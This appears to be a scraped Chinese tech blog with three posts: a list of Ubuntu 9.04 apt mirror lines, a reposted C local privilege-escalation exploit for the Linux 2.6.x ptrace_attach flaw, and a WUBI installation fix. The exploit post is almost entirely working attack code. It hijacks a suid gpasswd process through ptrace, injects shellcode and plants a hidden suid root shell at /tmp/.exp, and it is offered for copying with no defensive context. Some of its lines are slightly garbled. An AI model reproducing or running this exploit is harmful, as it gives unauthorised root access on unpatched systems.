deb-src http://ftp.science.nus.edu.sg/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ftp.science.nus.edu.sg/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ftp.science.nus.edu.sg/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ftp.science.nus.edu.sg/ubuntu/ jaunty-backports main restricted universe multiverse

      上海Linux 爱好者协会 更新服务器:

deb http://mirrors.shlug.org/ubuntu/ jaunty main restricted universe multiverse
deb http://mirrors.shlug.org/ubuntu/ jaunty-security main restricted universe multiverse
deb http://mirrors.shlug.org/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://mirrors.shlug.org/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://mirrors.shlug.org/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://mirrors.shlug.org/ubuntu/ jaunty main restricted universe multiverse
deb-src http://mirrors.shlug.org/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://mirrors.shlug.org/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://mirrors.shlug.org/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://mirrors.shlug.org/ubuntu/ jaunty-backports main restricted universe multiverse

      来自日本的ubuntu 更新服务器 (全国用户通用):

deb http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty main restricted universe multiverse
deb http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-backports main
restricted universe multiverse
deb-src http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty main restricted universe multiverse
deb-src http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ftp.jaist.ac.jp/pub/Linux/ubuntu/ jaunty-backports main restricted universe multiverse

      来自澳大利亚 optus.net 的ubuntu 更新服务器 (全国通用,经测试速度挺快):

deb http://mirror.optus.net/ubuntu/ jaunty main restricted universe multiverse
deb http://mirror.optus.net/ubuntu/ jaunty-security main restricted universe multiverse
deb http://mirror.optus.net/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://mirror.optus.net/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://mirror.optus.net/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://mirror.optus.net/ubuntu/ jaunty main restricted universe multiverse
deb-src http://mirror.optus.net/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://mirror.optus.net/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://mirror.optus.net/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://mirror.optus.net/ubuntu/ jaunty-backports main restricted universe multiverse

      来自北方的蒙古国的更新源 (速度还算可以,推荐北方用户使用):

deb http://archive.ubuntu.mnosi.org/ubuntu/ jaunty main restricted universe multiverse
deb http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-security main restricted universe multiverse
deb http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://archive.ubuntu.mnosi.org/ubuntu/ jaunty main restricted universe multiverse
deb-src http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://archive.ubuntu.mnosi.org/ubuntu/ jaunty-backports main restricted universe multiverse

      来自台湾的国立交通大学的更新源:

deb http://debian.nctu.edu.tw/ubuntu/ jaunty main restricted universe multiverse
deb http://debian.nctu.edu.tw/ubuntu/ jaunty-security main restricted universe multiverse
deb http://debian.nctu.edu.tw/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://debian.nctu.edu.tw/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://debian.nctu.edu.tw/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://debian.nctu.edu.tw/ubuntu/ jaunty main restricted universe multiverse
deb-src http://debian.nctu.edu.tw/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://debian.nctu.edu.tw/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://debian.nctu.edu.tw/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://debian.nctu.edu.tw/ubuntu/ jaunty-backports main restricted universe multiverse

      来自lupaworld.com 更新源 (推荐网通用户使用):

deb http://mirror.lupaworld.com/ubuntu/ jaunty main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ jaunty-security main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://mirror.lupaworld.com/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ jaunty main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://mirror.lupaworld.com/ubuntu/ jaunty-backports main restricted universe multiverse

      acc.umu.se更新服务器(来自以色列,全国用户通用):

deb http://ftp.acc.umu.se/mirror/ubuntu/ jaunty main restricted universe multiverse
deb http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://ftp.acc.umu.se/mirror/ubuntu/ jaunty main restricted universe multiverse
deb-src http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ftp.acc.umu.se/mirror/ubuntu/ jaunty-backports main restricted universe multiverse

      cn99com更新服务器(江苏省常州市电信,推荐电信用户使用):

deb http://ubuntu.cn99.com/ubuntu/ jaunty main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ jaunty-security main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://ubuntu.cn99.com/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ jaunty main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://ubuntu.cn99.com/ubuntu/ jaunty-backports main restricted universe multiverse

      还有一个网易的源,速度基本上能保证在2M/s左右:
deb http://mirrors.163.com/ubuntu/ jaunty main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jaunty-security main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb http://mirrors.163.com/ubuntu/ jaunty-backports main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jaunty main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jaunty-security main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jaunty-updates main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jaunty-proposed main restricted universe multiverse
deb-src http://mirrors.163.com/ubuntu/ jaunty-backports main restricted universe multiverse

      建议提前采用ping服务器的方式来确定各服务器连接速度。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/174

Linux Kernel 2.6.x ptrace_attach Local Privilege E

复制内容到剪贴板程序代码程序代码
/*
ptrace_attach privilege escalation exploit by s0m3b0dy

  • tested on Gentoo 2.6.29rc1

    grataz:
    Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo…

    email: s0m3b0dy1 (at) gmail.com
    */

    #include <grp.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <paths.h>
    #include <string.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/param.h>
    #include <sys/types.h>
    #include <sys/ptrace.h>
    #include <sys/socket.h>
    char shellcode

  • [] =
    "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"
    "\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
    "echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";
    struct user_regs_struct322 {
            unsigned long ebx, ecx, edx, esi, edi, ebp, eax;
            unsigned short ds, __ds, es, __es;
            unsigned short fs, __fs, gs, __gs;
            unsigned long orig_eax, eip;
            unsigned short cs, __cs;
            unsigned long eflags, esp;
            unsigned short ss, __ss;
    };

    main()
    {
    struct user_regs_struct322  regs;
    struct stat buf;
    int i,o;
    unsigned long * src;
    unsigned long * dst;
    char *env[2];
    env[0]="/usr/bin/gpasswd";  // some suid file
    env[1]=0;
    if((o=fork()) == 0)
    {
    execve(env[0],env,0);
    exit(0);
    }
    if(ptrace(PTRACE_ATTACH,o,0,0)==1)
    {
    printf("\n[-] Attach\n");
    exit(0);
    }
    wait((int *)0);
    if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == 1){
                    printf("\n[-] read registers\n");
            exit(0);
    }
    printf( "[+] EIP – 0x%08lx\n", regs.eip);
    dst= (unsigned long *) regs.eip;
    src = (unsigned long *) shellcode;
    for(i=0;i<sizeof(shellcode) 1;i+=4)
    if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == 1){
                           printf("\n[-] write shellcode\n");
                exit(0);
    }
    ptrace(PTRACE_CONT, o, 0, 0);
    ptrace(PTRACE_DETACH,o,0,0);
    printf("[+] Waiting for root…\n");
    sleep(2);
    if(!stat("/tmp/.exp",&buf))
    {
    printf("[+] Executing suid shell /tmp/.exp…\n");
    execv("/tmp/.exp",0);
    }
    else
    {
    printf("[-] Damn no r00t here :(\n");
    }
    return 0;
    }

    转载请尊重版权,出处:秋天博客
    本文链接: https://www.cfresh.net/web-security/217

    Ubuntu9.04 WUBI无法正常安装又一解决办法

          我的上一篇文章Ubuntu 9.04 运行wubi无效的临时解决办法给了一个解决办法,刚刚到cnbeta上去转了转发现还有一个办法可以解决的,特此贴出来:
          失败原因:盘符名中含有中文。
          解决方法:将中文改为英文就可以了。如,原先为"系统盘(C:)",改为"system(C:)"。其他也是类似的改法。注意,所有的盘符都不可以含有中文!

          可能是做wubi的程序员考虑欠周全所致,希望以后的版本不会再这样。

          如果你已经双击了wubi,应先清除临时文件,路径为C:\Documents and Settings\Administrator\Local Settings\Temp(假设你的系统盘是C盘,并且是Administrator)。清除后,为了保险起见,重启后再运行wubi。

    转载请尊重版权,出处:秋天博客
    本文链接: https://www.cfresh.net/pc-tech/241